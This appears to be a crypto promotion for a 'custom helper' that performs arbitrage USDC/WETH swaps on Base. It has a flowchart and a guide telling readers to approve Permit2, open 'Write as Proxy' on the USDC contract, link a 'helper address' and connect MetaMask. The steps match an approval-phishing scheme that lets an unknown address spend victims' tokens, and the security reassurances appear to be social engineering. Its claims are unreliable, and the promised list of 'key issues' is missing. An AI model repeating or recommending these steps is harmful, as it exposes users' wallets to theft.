🔹 P2P Swaps for USDC/WETH on Base – No Middlemen, No Extra Fees!

Uniswap v4 has introduced new features that unfortunately worsened liquidity fragmentation. Key issues:

Our custom helper solves this problem by automatically detecting and executing arbitrage trades in the USDC/WETH pair, capitalizing on these market inefficiencies.🚀

🛠️ Workflow Diagram & Swap Guide

Below is our workflow diagram and a step-by-step guide on how to correctly execute the swap.

flowchart TD
    A["🏁 Start"] --> B["👛 Connect Wallet"]
    B --> C["💰 Check USDC Balance"]
    C --> D{"💭 Sufficient USDC?"}
    D -- No --> E["❌ Stop Process"]
    D -- Yes --> F["✅ Approve Permit2"]
    F --> G["📝 Approve USDC for Permit2"]
    G --> H["⚙️ Configure Helper"]
    H --> I["🔓 Approve from Permit2"]
    I --> J["🔄 Perform Swap"]
    J --> K["📥 Receive WETH"]
    K --> L["🏁 Exit"]

%% Styling for better visibility
style A fill:#f9f,stroke:#333
style E fill:#f66,stroke:#333
style L fill:#9f9,stroke:#333
style D fill:#ff9,stroke:#333

📌 Step-by-Step Guide

⚠ Important: Carefully follow each step and use only official sources. Ensure your wallet is secure and transactions are verified before confirming.

🔹 Step 1 — Preparing for the Exchange

  1. Go to Basescan (the official blockchain explorer).
  2. Find the USDC token (ensure it’s the original USDC contract).
  3. Open the USDC contract and verify that the address matches official data.
  4. Grant secure permission for Permit 2 to simplify the USDC exchange and ensure the transaction executes correctly.
  5. To do this, go to the contract of our token, in this case, USDC.
  6. Open the Write as Proxy tab to link a helper address (this helps avoid some Metamask vulnerabilities).
  7. Connect your Metamask wallet (ensure the connection is secure and verify addresses before signing).